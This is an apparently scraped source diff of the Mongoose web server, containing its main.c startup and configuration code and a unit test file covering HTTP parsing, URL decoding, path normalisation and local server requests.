#define _MBCS // Use multibyte encoding on Windows
#define _WIN32_WINNT 0x500 // Enable MIIM_BITMAP
#define _CRT_SECURE_NO_WARNINGS // Disable deprecation warning in VS2005
#define _XOPEN_SOURCE 600 // For PATH_MAX on linux
#undef WIN32_LEAN_AND_MEAN // Let windows.h always include winsock2.h
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <errno.h>
#include <limits.h>
#include <stddef.h>
#include <stdarg.h>
#include <ctype.h>
#include <time.h>
#include "mongoose.h"
#ifdef _WIN32
#include <windows.h>
#include <direct.h> // For chdir()
#include <winsvc.h>
#include <shlobj.h>
#ifndef PATH_MAX
#define PATH_MAX MAX_PATH
#endif
#ifndef S_ISDIR
#define S_ISDIR(x) ((x) & _S_IFDIR)
#endif
#define DIRSEP '\\'
#define snprintf _snprintf
#define vsnprintf _vsnprintf
#define sleep(x) Sleep((x) * 1000)
#define abs_path(rel, abs, abs_size) _fullpath((abs), (rel), (abs_size))
#define SIGCHLD 0
typedef struct _stat file_stat_t;
#define stat(x, y) _stat((x), (y))
#else
typedef struct stat file_stat_t;
#include <sys/wait.h>
#include <unistd.h>
#define DIRSEP '/'
#define __cdecl
#define abs_path(rel, abs, abs_size) realpath((rel), (abs))
#endif // _WIN32
#define MAX_OPTIONS 100
#define MAX_CONF_FILE_LINE_SIZE (8 * 1024)
static int exit_flag;
static char server_name[50]; // Set by init_server_name()
static char config_file[PATH_MAX]; // Set by process_command_line_arguments()
static struct mg_server *server; // Set by start_mongoose()
static const char *s_default_document_root = ".";
static const char *s_default_listening_port = "8080";
#if !defined(CONFIG_FILE)
#define CONFIG_FILE "mongoose.conf"
#endif /* !CONFIG_FILE */
static void __cdecl signal_handler(int sig_num) {
// Reinstantiate signal handler
signal(sig_num, signal_handler);
#ifndef _WIN32
// Do not do the trick with ignoring SIGCHLD, cause not all OSes (e.g. QNX)
// reap zombies if SIGCHLD is ignored. On QNX, for example, waitpid()
// fails if SIGCHLD is ignored, making system() non-functional.
if (sig_num == SIGCHLD) {
do {} while (waitpid(-1, &sig_num, WNOHANG) > 0);
} else
#endif
{ exit_flag = sig_num; }
}
static void vnotify(const char *fmt, va_list ap, int must_exit) {
char msg[200];
vsnprintf(msg, sizeof(msg), fmt, ap);
fprintf(stderr, "%s\n", msg);
if (must_exit) {
exit(EXIT_FAILURE);
}
}
static void notify(const char *fmt, ...) {
va_list ap;
va_start(ap, fmt);
vnotify(fmt, ap, 0);
va_end(ap);
}
static void die(const char *fmt, ...) {
va_list ap;
va_start(ap, fmt);
vnotify(fmt, ap, 1);
va_end(ap);
}
static void show_usage_and_exit(void) {
const char **names;
int i;
fprintf(stderr, "Mongoose version %s (c) Sergey Lyubka, built on %s\n",
MONGOOSE_VERSION, __DATE__);
fprintf(stderr, "Usage:\n");
#ifndef MONGOOSE_NO_AUTH
fprintf(stderr, " mongoose -A <htpasswd_file> <realm> <user> <passwd>\n");
#endif
fprintf(stderr, " mongoose [config_file]\n");
fprintf(stderr, " mongoose [-option value ...]\n");
fprintf(stderr, "\nOPTIONS:\n");
names = mg_get_valid_option_names();
for (i = 0; names[i] != NULL; i += 2) {
fprintf(stderr, " -%s %s\n",
names[i], names[i + 1] == NULL ? "<empty>" : names[i + 1]);
}
exit(EXIT_FAILURE);
}
#define EV_HANDLER NULL
static char *sdup(const char *str) {
char *p;
if ((p = (char *) malloc(strlen(str) + 1)) != NULL) {
strcpy(p, str);
}
return p;
}
static void set_option(char **options, const char *name, const char *value) {
int i;
for (i = 0; i < MAX_OPTIONS - 3; i++) {
if (options[i] == NULL) {
options[i] = sdup(name);
options[i + 1] = sdup(value);
options[i + 2] = NULL;
break;
} else if (!strcmp(options[i], name)) {
free(options[i + 1]);
options[i + 1] = sdup(value);
break;
}
}
if (i == MAX_OPTIONS - 3) {
die("%s", "Too many options specified");
}
}
static void process_command_line_arguments(char *argv[], char **options) {
char line[MAX_CONF_FILE_LINE_SIZE], opt[sizeof(line)], val[sizeof(line)], *p;
FILE *fp = NULL;
size_t i, cmd_line_opts_start = 1, line_no = 0;
// Should we use a config file ?
if (argv[1] != NULL && argv[1][0] != '-') {
snprintf(config_file, sizeof(config_file), "%s", argv[1]);
cmd_line_opts_start = 2;
} else if ((p = strrchr(argv[0], DIRSEP)) == NULL) {
// No command line flags specified. Look where binary lives
snprintf(config_file, sizeof(config_file), "%s", CONFIG_FILE);
} else {
snprintf(config_file, sizeof(config_file), "%.*s%c%s",
(int) (p - argv[0]), argv[0], DIRSEP, CONFIG_FILE);
}
fp = fopen(config_file, "r");
// If config file was set in command line and open failed, die
if (cmd_line_opts_start == 2 && fp == NULL) {
die("Cannot open config file %s: %s", config_file, strerror(errno));
}
// Load config file settings first
if (fp != NULL) {
fprintf(stderr, "Loading config file %s\n", config_file);
// Loop over the lines in config file
while (fgets(line, sizeof(line), fp) != NULL) {
line_no++;
// Ignore empty lines and comments
for (i = 0; isspace(* (unsigned char *) &line[i]); ) i++;
if (line[i] == '#' || line[i] == '\0') {
continue;
}
if (sscanf(line, "%s %[^\r\n#]", opt, val) != 2) {
printf("%s: line %d is invalid, ignoring it:\n %s",
config_file, (int) line_no, line);
} else {
set_option(options, opt, val);
}
}
fclose(fp);
}
// If we're under MacOS and started by launchd, then the second
// argument is process serial number, -psn_.....
// In this case, don't process arguments at all.
if (argv[1] == NULL || memcmp(argv[1], "-psn_", 5) != 0) {
// Handle command line flags.
// They override config file and default settings.
for (i = cmd_line_opts_start; argv[i] != NULL; i += 2) {
if (argv[i][0] != '-' || argv[i + 1] == NULL) {
show_usage_and_exit();
}
set_option(options, &argv[i][1], argv[i + 1]);
}
}
}
static void init_server_name(void) {
const char *descr = "";
snprintf(server_name, sizeof(server_name), "Mongoose web server v.%s%s",
MONGOOSE_VERSION, descr);
}
static int is_path_absolute(const char *path) {
#ifdef _WIN32
return path != NULL &&
((path[0] == '\\' && path[1] == '\\') || // UNC path, e.g. \\server\dir
(isalpha(path[0]) && path[1] == ':' && path[2] == '\\')); // E.g. X:\dir
#else
return path != NULL && path[0] == '/';
#endif
}
static char *get_option(char **options, const char *option_name) {
int i;
for (i = 0; options[i] != NULL; i++)
if (!strcmp(options[i], option_name))
return options[i + 1];
return NULL;
}
static int path_exists(const char *path, int is_dir) {
file_stat_t st;
return path == NULL || (stat(path, &st) == 0 &&
((S_ISDIR(st.st_mode) ? 1 : 0) == is_dir));
}
static void verify_existence(char **options, const char *name, int is_dir) {
const char *path = get_option(options, name);
if (!path_exists(path, is_dir)) {
notify("Invalid path for %s: [%s]: (%s). Make sure that path is either "
"absolute, or it is relative to mongoose executable.",
name, path, strerror(errno));
}
}
static void set_absolute_path(char *options[], const char *option_name,
const char *path_to_mongoose_exe) {
char path[PATH_MAX], abs[PATH_MAX], *option_value;
const char *p;
// Check whether option is already set
option_value = get_option(options, option_name);
// If option is already set and it is an absolute path,
// leave it as it is -- it's already absolute.
if (option_value != NULL && !is_path_absolute(option_value)) {
// Not absolute. Use the directory where mongoose executable lives
// be the relative directory for everything.
// Extract mongoose executable directory into path.
if ((p = strrchr(path_to_mongoose_exe, DIRSEP)) == NULL) {
getcwd(path, sizeof(path));
} else {
snprintf(path, sizeof(path), "%.*s", (int) (p - path_to_mongoose_exe),
path_to_mongoose_exe);
}
strncat(path, "/", sizeof(path) - 1);
strncat(path, option_value, sizeof(path) - 1);
// Absolutize the path, and set the option
abs_path(path, abs, sizeof(abs));
set_option(options, option_name, abs);
}
}
#ifndef MONGOOSE_NO_AUTH
int modify_passwords_file(const char *fname, const char *domain,
const char *user, const char *pass) {
int found;
char line[512], u[512], d[512], ha1[33], tmp[PATH_MAX];
FILE *fp, *fp2;
found = 0;
fp = fp2 = NULL;
// Regard empty password as no password - remove user record.
if (pass != NULL && pass[0] == '\0') {
pass = NULL;
}
(void) snprintf(tmp, sizeof(tmp), "%s.tmp", fname);
// Create the file if does not exist
if ((fp = fopen(fname, "a+")) != NULL) {
fclose(fp);
}
// Open the given file and temporary file
if ((fp = fopen(fname, "r")) == NULL) {
return 0;
} else if ((fp2 = fopen(tmp, "w+")) == NULL) {
fclose(fp);
return 0;
}
// Copy the stuff to temporary file
while (fgets(line, sizeof(line), fp) != NULL) {
if (sscanf(line, "%[^:]:%[^:]:%*s", u, d) != 2) {
continue;
}
if (!strcmp(u, user) && !strcmp(d, domain)) {
found++;
if (pass != NULL) {
mg_md5(ha1, user, ":", domain, ":", pass, NULL);
fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
}
} else {
fprintf(fp2, "%s", line);
}
}
// If new user, just add it
if (!found && pass != NULL) {
mg_md5(ha1, user, ":", domain, ":", pass, NULL);
fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
}
// Close files
fclose(fp);
fclose(fp2);
// Put the temp file in place of real file
remove(fname);
rename(tmp, fname);
return 1;
}
#endif
static void start_mongoose(int argc, char *argv[]) {
char *options[MAX_OPTIONS];
int i;
if ((server = mg_create_server(NULL, EV_HANDLER)) == NULL) {
die("%s", "Failed to start Mongoose.");
}
#ifndef MONGOOSE_NO_AUTH
// Edit passwords file if -A option is specified
if (argc > 1 && !strcmp(argv[1], "-A")) {
if (argc != 6) {
show_usage_and_exit();
}
exit(modify_passwords_file(argv[2], argv[3], argv[4], argv[5]) ?
EXIT_SUCCESS : EXIT_FAILURE);
}
#endif
// Show usage if -h or --help options are specified
if (argc == 2 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) {
show_usage_and_exit();
}
options[0] = NULL;
set_option(options, "document_root", s_default_document_root);
set_option(options, "listening_port", s_default_listening_port);
// Update config based on command line arguments
process_command_line_arguments(argv, options);
// Make sure we have absolute paths for files and directories
// https://github.com/valenok/mongoose/issues/181
set_absolute_path(options, "document_root", argv[0]);
set_absolute_path(options, "dav_auth_file", argv[0]);
set_absolute_path(options, "cgi_interpreter", argv[0]);
set_absolute_path(options, "access_log_file", argv[0]);
set_absolute_path(options, "global_auth_file", argv[0]);
set_absolute_path(options, "ssl_certificate", argv[0]);
if (!path_exists(get_option(options, "document_root"), 1)) {
set_option(options, "document_root", s_default_document_root);
set_absolute_path(options, "document_root", argv[0]);
notify("Setting document_root to [%s]",
mg_get_option(server, "document_root"));
}
// Make extra verification for certain options
verify_existence(options, "document_root", 1);
verify_existence(options, "cgi_interpreter", 0);
verify_existence(options, "ssl_certificate", 0);
for (i = 0; options[i] != NULL; i += 2) {
const char *msg = mg_set_option(server, options[i], options[i + 1]);
if (msg != NULL) {
notify("Failed to set option [%s] to [%s]: %s",
options[i], options[i + 1], msg);
if (!strcmp(options[i], "listening_port")) {
mg_set_option(server, "listening_port", s_default_listening_port);
notify("Setting %s to [%s]", options[i], s_default_listening_port);
}
}
free(options[i]);
free(options[i + 1]);
}
// Change current working directory to document root. This way,
// scripts can use relative paths.
chdir(mg_get_option(server, "document_root"));
// Add an ability to pass listening socket to mongoose
{
const char *env = getenv("MONGOOSE_LISTENING_SOCKET");
if (env != NULL && atoi(env) > 0 ) {
mg_set_listening_socket(server, atoi(env));
}
}
// Setup signal handler: quit on Ctrl-C
signal(SIGTERM, signal_handler);
signal(SIGINT, signal_handler);
#ifndef _WIN32
signal(SIGCHLD, signal_handler);
#endif
}
int main(int argc, char *argv[]) {
init_server_name();
start_mongoose(argc, argv);
printf("%s serving [%s] on port %s\n",
server_name, mg_get_option(server, "document_root"),
mg_get_option(server, "listening_port"));
fflush(stdout); // Needed, Windows terminals might not be line-buffered
while (exit_flag == 0) {
mg_poll_server(server, 1000);
}
printf("Exiting on signal %d ...", exit_flag);
fflush(stdout);
mg_destroy_server(&server);
printf("%s\n", " done.");
return EXIT_SUCCESS;
}
+516
View File
@@ -0,0 +1,516 @@
// Unit test for the mongoose web server.
// g++ -W -Wall -pedantic -g unit_test.c -lssl && ./a.out
// cl unit_test.c /MD
#ifndef _WIN32
#define NS_ENABLE_IPV6
#define NS_ENABLE_SSL
#endif
#define MONGOOSE_POST_SIZE_LIMIT 999
// USE_* definitions must be made before #include "mongoose.c" !
#include "../mongoose.c"
#define FAIL(str, line) do { \
printf("Fail on line %d: [%s]\n", line, str); \
return str; \
} while (0)
#define ASSERT(expr) do { \
static_num_tests++; \
if (!(expr)) FAIL(#expr, __LINE__); \
} while (0)
#define RUN_TEST(test) do { const char *msg = test(); \
if (msg) return msg; } while (0)
#define HTTP_PORT "45772"
#define LISTENING_ADDR "127.0.0.1:" HTTP_PORT
static int static_num_tests = 0;
#if 0
// Connects to host:port, and sends formatted request to it. Returns
// malloc-ed reply and reply length, or NULL on error. Reply contains
// everything including headers, not just the message body.
static char *wget(const char *host, int port, int *len, const char *fmt, ...) {
char buf[2000], *reply = NULL;
int request_len, reply_size = 0, n, sock = -1;
struct sockaddr_in sin;
struct hostent *he = NULL;
va_list ap;
if (host != NULL &&
(he = gethostbyname(host)) != NULL &&
(sock = socket(PF_INET, SOCK_STREAM, 0)) != -1) {
sin.sin_family = AF_INET;
sin.sin_port = htons((uint16_t) port);
sin.sin_addr = * (struct in_addr *) he->h_addr_list[0];
if (connect(sock, (struct sockaddr *) &sin, sizeof(sin)) == 0) {
// Format and send the request.
va_start(ap, fmt);
request_len = vsnprintf(buf, sizeof(buf), fmt, ap);
va_end(ap);
while (request_len > 0 && (n = send(sock, buf, request_len, 0)) > 0) {
request_len -= n;
}
if (request_len == 0) {
*len = 0;
while ((n = recv(sock, buf, sizeof(buf), 0)) > 0) {
if (*len + n > reply_size) {
// Leak possible
reply = (char *) realloc(reply, reply_size + sizeof(buf));
reply_size += sizeof(buf);
}
if (reply != NULL) {
memcpy(reply + *len, buf, n);
*len += n;
}
}
}
closesocket(sock);
}
}
return reply;
}
#endif
static char *read_file(const char *path, int *size) {
FILE *fp;
struct stat st;
char *data = NULL;
if ((fp = fopen(path, "rb")) != NULL && !fstat(fileno(fp), &st)) {
*size = (int) st.st_size;
data = (char *) malloc(*size);
fread(data, 1, *size, fp);
fclose(fp);
}
return data;
}
static const char *test_parse_http_message() {
struct mg_connection ri;
char req1[] = "GET / HTTP/1.1\r\n\r\n";
char req2[] = "BLAH / HTTP/1.1\r\n\r\n";
char req3[] = "GET / HTTP/1.1\r\nBah\r\n";
char req4[] = "GET / HTTP/1.1\r\nA: foo bar\r\nB: bar\r\nbaz\r\n\r\n";
char req5[] = "GET / HTTP/1.1\r\n\r\n";
char req6[] = "G";
char req7[] = " blah ";
char req8[] = " HTTP/1.1 200 OK \n\n";
char req9[] = "HTTP/1.1 200 OK\r\nConnection: close\r\n\r\n";
ASSERT(get_request_len("\r\n", 3) == -1);
ASSERT(get_request_len("\r\n", 2) == 0);
ASSERT(get_request_len("GET", 3) == 0);
ASSERT(get_request_len("\n\n", 2) == 2);
ASSERT(get_request_len("\n\r\n", 3) == 3);
ASSERT(get_request_len("\xdd\xdd", 2) == 0);
ASSERT(get_request_len("\xdd\x03", 2) == -1);
ASSERT(get_request_len(req3, sizeof(req3) - 1) == 0);
ASSERT(get_request_len(req6, sizeof(req6) - 1) == 0);
ASSERT(get_request_len(req7, sizeof(req7) - 1) == 0);
ASSERT(parse_http_message(req9, sizeof(req9) - 1, &ri) == sizeof(req9) - 1);
ASSERT(ri.num_headers == 1);
ASSERT(parse_http_message(req1, sizeof(req1) - 1, &ri) == sizeof(req1) - 1);
ASSERT(strcmp(ri.http_version, "1.1") == 0);
ASSERT(ri.num_headers == 0);
ASSERT(parse_http_message(req2, sizeof(req2) - 1, &ri) == -1);
ASSERT(parse_http_message(req6, 0, &ri) == -1);
ASSERT(parse_http_message(req8, sizeof(req8) - 1, &ri) == sizeof(req8) - 1);
// TODO(lsm): Fix this. Header value may span multiple lines.
ASSERT(parse_http_message(req4, sizeof(req4) - 1, &ri) == sizeof(req4) - 1);
ASSERT(strcmp(ri.http_version, "1.1") == 0);
ASSERT(ri.num_headers == 3);
ASSERT(strcmp(ri.http_headers[0].name, "A") == 0);
ASSERT(strcmp(ri.http_headers[0].value, "foo bar") == 0);
ASSERT(strcmp(ri.http_headers[1].name, "B") == 0);
ASSERT(strcmp(ri.http_headers[1].value, "bar") == 0);
ASSERT(strcmp(ri.http_headers[2].name, "baz\r\n\r") == 0);
ASSERT(strcmp(ri.http_headers[2].value, "") == 0);
ASSERT(parse_http_message(req5, sizeof(req5) - 1, &ri) == sizeof(req5) - 1);
ASSERT(strcmp(ri.request_method, "GET") == 0);
ASSERT(strcmp(ri.http_version, "1.1") == 0);
return NULL;
}
static const char *test_should_keep_alive(void) {
struct mg_connection conn;
char req1[] = "GET / HTTP/1.1\r\n\r\n";
char req2[] = "GET / HTTP/1.0\r\n\r\n";
char req3[] = "GET / HTTP/1.1\r\nConnection: close\r\n\r\n";
char req4[] = "GET / HTTP/1.1\r\nConnection: keep-alive\r\n\r\n";
memset(&conn, 0, sizeof(conn));
ASSERT(parse_http_message(req1, sizeof(req1) - 1, &conn) == sizeof(req1) - 1);
ASSERT(should_keep_alive(&conn) != 0);
parse_http_message(req2, sizeof(req2) - 1, &conn);
ASSERT(should_keep_alive(&conn) == 0);
parse_http_message(req3, sizeof(req3) - 1, &conn);
ASSERT(should_keep_alive(&conn) == 0);
parse_http_message(req4, sizeof(req4) - 1, &conn);
ASSERT(should_keep_alive(&conn) != 0);
return NULL;
}
static const char *test_match_prefix(void) {
ASSERT(match_prefix("/api", 4, "/api") == 4);
ASSERT(match_prefix("/a/", 3, "/a/b/c") == 3);
ASSERT(match_prefix("/a/", 3, "/ab/c") == -1);
ASSERT(match_prefix("/*/", 3, "/ab/c") == 4);
ASSERT(match_prefix("**", 2, "/a/b/c") == 6);
ASSERT(match_prefix("/*", 2, "/a/b/c") == 2);
ASSERT(match_prefix("*/*", 3, "/a/b/c") == 2);
ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
ASSERT(match_prefix("**.foo|**.bar", 13, "a.bar") == 5);
ASSERT(match_prefix("a|b|cd", 6, "cdef") == 2);
ASSERT(match_prefix("a|b|c?", 6, "cdef") == 2);
ASSERT(match_prefix("a|?|cd", 6, "cdef") == 1);
ASSERT(match_prefix("/a/**.cgi", 9, "/foo/bar/x.cgi") == -1);
ASSERT(match_prefix("/a/**.cgi", 9, "/a/bar/x.cgi") == 12);
ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
ASSERT(match_prefix("$", 1, "") == 0);
ASSERT(match_prefix("$", 1, "x") == -1);
ASSERT(match_prefix("*$", 2, "x") == 1);
ASSERT(match_prefix("/$", 2, "/") == 1);
ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
ASSERT(match_prefix("*", 1, "/hello/") == 0);
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b/") == -1);
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b") == 6);
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/B.A") == 6);
ASSERT(match_prefix("**o$", 4, "HELLO") == 5);
return NULL;
}
static const char *test_remove_double_dots() {
struct { char before[20], after[20]; } data[] = {
{"////a", "/a"},
{"/.....", "/."},
{"/......", "/"},
{"...", "..."},
{"/...///", "/./"},
{"/a...///", "/a.../"},
{"/.x", "/.x"},
{"/\\", "/"},
{"/a\\", "/a\\"},
{"/a\\\\...", "/a\\."},
};
size_t i;
for (i = 0; i < ARRAY_SIZE(data); i++) {
remove_double_dots_and_double_slashes(data[i].before);
ASSERT(strcmp(data[i].before, data[i].after) == 0);
}
return NULL;
}
static const char *test_get_var(void) {
static const char *post[] = {
"a=1&&b=2&d&=&c=3%20&e=",
"q=&st=2012%2F11%2F13+17%3A05&et=&team_id=",
NULL
};
char buf[20];
ASSERT(get_var(post[0], strlen(post[0]), "a", buf, sizeof(buf)) == 1);
ASSERT(buf[0] == '1' && buf[1] == '\0');
ASSERT(get_var(post[0], strlen(post[0]), "b", buf, sizeof(buf)) == 1);
ASSERT(buf[0] == '2' && buf[1] == '\0');
ASSERT(get_var(post[0], strlen(post[0]), "c", buf, sizeof(buf)) == 2);
ASSERT(buf[0] == '3' && buf[1] == ' ' && buf[2] == '\0');
ASSERT(get_var(post[0], strlen(post[0]), "e", buf, sizeof(buf)) == 0);
ASSERT(buf[0] == '\0');
ASSERT(get_var(post[0], strlen(post[0]), "d", buf, sizeof(buf)) == -1);
ASSERT(get_var(post[0], strlen(post[0]), "c", buf, 2) == -2);
ASSERT(get_var(post[0], strlen(post[0]), "x", NULL, 10) == -2);
ASSERT(get_var(post[0], strlen(post[0]), "x", buf, 0) == -2);
ASSERT(get_var(post[1], strlen(post[1]), "st", buf, 16) == -2);
ASSERT(get_var(post[1], strlen(post[1]), "st", buf, 17) == 16);
return NULL;
}
static const char *test_url_decode(void) {
char buf[100];
ASSERT(mg_url_decode("foo", 3, buf, 3, 0) == -1); // No space for \0
ASSERT(mg_url_decode("foo", 3, buf, 4, 0) == 3);
ASSERT(strcmp(buf, "foo") == 0);
ASSERT(mg_url_decode("a+", 2, buf, sizeof(buf), 0) == 2);
ASSERT(strcmp(buf, "a+") == 0);
ASSERT(mg_url_decode("a+", 2, buf, sizeof(buf), 1) == 2);
ASSERT(strcmp(buf, "a ") == 0);
ASSERT(mg_url_decode("%61", 1, buf, sizeof(buf), 1) == 1);
ASSERT(strcmp(buf, "%") == 0);
ASSERT(mg_url_decode("%61", 2, buf, sizeof(buf), 1) == 2);
ASSERT(strcmp(buf, "%6") == 0);
ASSERT(mg_url_decode("%61", 3, buf, sizeof(buf), 1) == 1);
ASSERT(strcmp(buf, "a") == 0);
return NULL;
}
static const char *test_to64(void) {
ASSERT(to64("0") == 0);
ASSERT(to64("") == 0);
ASSERT(to64("123") == 123);
ASSERT(to64("-34") == -34);
ASSERT(to64("3566626116") == 3566626116);
return NULL;
}
static const char *test_base64_encode(void) {
const char *in[] = {"a", "ab", "abc", "abcd", NULL};
const char *out[] = {"YQ==", "YWI=", "YWJj", "YWJjZA=="};
char buf[100];
int i;
for (i = 0; in[i] != NULL; i++) {
base64_encode((unsigned char *) in[i], strlen(in[i]), buf);
ASSERT(!strcmp(buf, out[i]));
}
return NULL;
}
static const char *test_mg_parse_header(void) {
const char *str = "xx=1 kl yy, ert=234 kl=123, "
"ii=\"12\\\"34\" zz='aa bb',tt=2,gf=\"xx d=1234";
char buf[10];
ASSERT(mg_parse_header(str, "yy", buf, sizeof(buf)) == 0);
ASSERT(mg_parse_header(str, "ert", buf, sizeof(buf)) == 3);
ASSERT(strcmp(buf, "234") == 0);
ASSERT(mg_parse_header(str, "ert", buf, 2) == 0);
ASSERT(mg_parse_header(str, "ert", buf, 3) == 0);
ASSERT(mg_parse_header(str, "ert", buf, 4) == 3);
ASSERT(mg_parse_header(str, "gf", buf, sizeof(buf)) == 0);
ASSERT(mg_parse_header(str, "zz", buf, sizeof(buf)) == 5);
ASSERT(strcmp(buf, "aa bb") == 0);
ASSERT(mg_parse_header(str, "d", buf, sizeof(buf)) == 4);
ASSERT(strcmp(buf, "1234") == 0);
buf[0] = 'x';
ASSERT(mg_parse_header(str, "MMM", buf, sizeof(buf)) == 0);
ASSERT(buf[0] == '\0');
ASSERT(mg_parse_header(str, "kl", buf, sizeof(buf)) == 3);
ASSERT(strcmp(buf, "123") == 0);
ASSERT(mg_parse_header(str, "xx", buf, sizeof(buf)) == 1);
ASSERT(strcmp(buf, "1") == 0);
ASSERT(mg_parse_header(str, "ii", buf, sizeof(buf)) == 5);
ASSERT(strcmp(buf, "12\"34") == 0);
ASSERT(mg_parse_header(str, "tt", buf, sizeof(buf)) == 1);
ASSERT(strcmp(buf, "2") == 0);
return NULL;
}
static const char *test_next_option(void) {
const char *p, *list = "x/8,/y**=1;2k,z";
struct vec a, b;
int i;
ASSERT(next_option(NULL, &a, &b) == NULL);
for (i = 0, p = list; (p = next_option(p, &a, &b)) != NULL; i++) {
ASSERT(i != 0 || (a.ptr == list && a.len == 3 && b.len == 0));
ASSERT(i != 1 || (a.ptr == list + 4 && a.len == 4 && b.ptr == list + 9 &&
b.len == 4));
ASSERT(i != 2 || (a.ptr == list + 14 && a.len == 1 && b.len == 0));
}
return NULL;
}
static int evh1(struct mg_connection *conn, enum mg_event ev) {
char *buf = (char *) conn->connection_param;
int result = MG_FALSE;
switch (ev) {
case MG_CONNECT:
mg_printf(conn, "GET %s HTTP/1.0\r\n\r\n",
buf[0] == '1' ? "/cb1" : "/non_exist");
result = MG_TRUE;
break;
case MG_HTTP_ERROR:
mg_printf(conn, "HTTP/1.0 404 NF\r\n\r\nERR: %d", conn->status_code);
result = MG_TRUE;
break;
case MG_REQUEST:
if (!strcmp(conn->uri, "/cb1")) {
mg_printf(conn, "HTTP/1.0 200 OK\r\n\r\n%s %s %s",
(char *) conn->server_param,
buf == NULL ? "?" : "!", conn->remote_ip);
result = MG_TRUE;
}
break;
case MG_REPLY:
if (buf != NULL) {
sprintf(buf + 1, "%.*s", (int) conn->content_len, conn->content);
}
break;
case MG_AUTH:
result = MG_TRUE;
break;
default:
break;
}
return result;
}
static const char *test_server(void) {
char buf1[100] = "1", buf2[100] = "2";
struct mg_server *server = mg_create_server((void *) "foo", evh1);
struct mg_connection *conn;
ASSERT(server != NULL);
ASSERT(mg_set_option(server, "listening_port", LISTENING_ADDR) == NULL);
ASSERT(mg_set_option(server, "document_root", ".") == NULL);
ASSERT((conn = mg_connect(server, "127.0.0.1", atoi(HTTP_PORT), 0)) != NULL);
conn->connection_param = buf1;
ASSERT((conn = mg_connect(server, "127.0.0.1", atoi(HTTP_PORT), 0)) != NULL);
conn->connection_param = buf2;
{ int i; for (i = 0; i < 50; i++) mg_poll_server(server, 1); }
ASSERT(strcmp(buf1, "1foo ? 127.0.0.1") == 0);
ASSERT(strcmp(buf2, "2ERR: 404") == 0);
ASSERT(strcmp(static_config_options[URL_REWRITES * 2], "url_rewrites") == 0);
mg_destroy_server(&server);
ASSERT(server == NULL);
return NULL;
}
#define DISP "Content-Disposition: form/data; "
#define CRLF "\r\n"
#define BOUNDARY "--xyz"
static const char *test_parse_multipart(void) {
char a[100], b[100];
const char *p;
static const char f1[] = BOUNDARY CRLF DISP "name=f1" CRLF CRLF
"some_content" CRLF BOUNDARY CRLF
BOUNDARY CRLF DISP "name=f2; filename=\"foo bar.txt\"" CRLF CRLF
"another_content" CRLF BOUNDARY CRLF
"--" CRLF;
int n, n2, len, f1_len = sizeof(f1) - 1;
ASSERT(mg_parse_multipart("", 0, a, sizeof(a), b, sizeof(b), &p, &len) == 0);
ASSERT(mg_parse_multipart("a", 1, a, sizeof(a), b, sizeof(b), &p, &len) == 0);
ASSERT((n = mg_parse_multipart(f1, f1_len, a, sizeof(a),
b, sizeof(b), &p, &len)) > 0);
ASSERT(len == 12);
ASSERT(memcmp(p, "some_content", len) == 0);
ASSERT(strcmp(a, "f1") == 0);
ASSERT(b[0] == '\0');
ASSERT((n2 = mg_parse_multipart(f1 + n, f1_len - n, a, sizeof(a),
b, sizeof(b), &p, &len)) > 0);
ASSERT(len == 15);
ASSERT(memcmp(p, "another_content", len) == 0);
ASSERT(strcmp(a, "f2") == 0);
ASSERT(strcmp(b, "foo bar.txt") == 0);
ASSERT((n2 = mg_parse_multipart(f1 + n + n2, f1_len - (n + n2), a, sizeof(a),
b, sizeof(b), &p, &len)) == 0);
return NULL;
}
static int evh2(struct mg_connection *conn, enum mg_event ev) {
char *file_data, *cp = (char *) conn->connection_param;
int file_size, result = MG_FALSE;
switch (ev) {
case MG_AUTH:
result = MG_TRUE;
break;
case MG_CONNECT:
mg_printf(conn, "GET /%s HTTP/1.0\r\n\r\n", cp);
result = MG_TRUE;
break;
case MG_REQUEST:
break;
case MG_REPLY:
file_data = read_file("unit_test.c", &file_size);
sprintf(cp, "%d %s", (size_t) file_size == conn->content_len &&
memcmp(file_data, conn->content, file_size) == 0 ? 1 : 0,
conn->query_string == NULL ? "?" : conn->query_string);
free(file_data);
break;
default:
break;
}
return result;
}
static const char *test_mg_set_option(void) {
struct mg_server *server = mg_create_server(NULL, NULL);
ASSERT(mg_set_option(server, "listening_port", "0") == NULL);
ASSERT(mg_get_option(server, "listening_port")[0] != '\0');
mg_destroy_server(&server);
return NULL;
}
static const char *test_rewrites(void) {
char buf1[100] = "xx";
struct mg_server *server = mg_create_server(NULL, evh2);
struct mg_connection *conn;
const char *port;
ASSERT(mg_set_option(server, "listening_port", "0") == NULL);
ASSERT(mg_set_option(server, "document_root", ".") == NULL);
ASSERT(mg_set_option(server, "url_rewrites", "/xx=unit_test.c") == NULL);
ASSERT((port = mg_get_option(server, "listening_port")) != NULL);
ASSERT((conn = mg_connect(server, "127.0.0.1", atoi(port), 0)) != NULL);
conn->connection_param = buf1;
{ int i; for (i = 0; i < 50; i++) mg_poll_server(server, 1); }
ASSERT(strcmp(buf1, "1 ?") == 0);
mg_destroy_server(&server);
return NULL;
}
static const char *run_all_tests(void) {
RUN_TEST(test_should_keep_alive);
RUN_TEST(test_match_prefix);
RUN_TEST(test_remove_double_dots);
RUN_TEST(test_parse_http_message);
RUN_TEST(test_to64);
RUN_TEST(test_url_decode);
RUN_TEST(test_base64_encode);
RUN_TEST(test_mg_parse_header);
RUN_TEST(test_get_var);
RUN_TEST(test_next_option);
RUN_TEST(test_parse_multipart);
RUN_TEST(test_mg_set_option);
RUN_TEST(test_server);
RUN_TEST(test_rewrites);
return NULL;
}
int __cdecl main(void) {
const char *fail_msg = run_all_tests();
printf("%s, tests run: %d\n", fail_msg ? "FAIL" : "PASS", static_num_tests);
return fail_msg == NULL ? EXIT_SUCCESS : EXIT_FAILURE;
}
+43 -42
View File
@@ -3,59 +3,60 @@
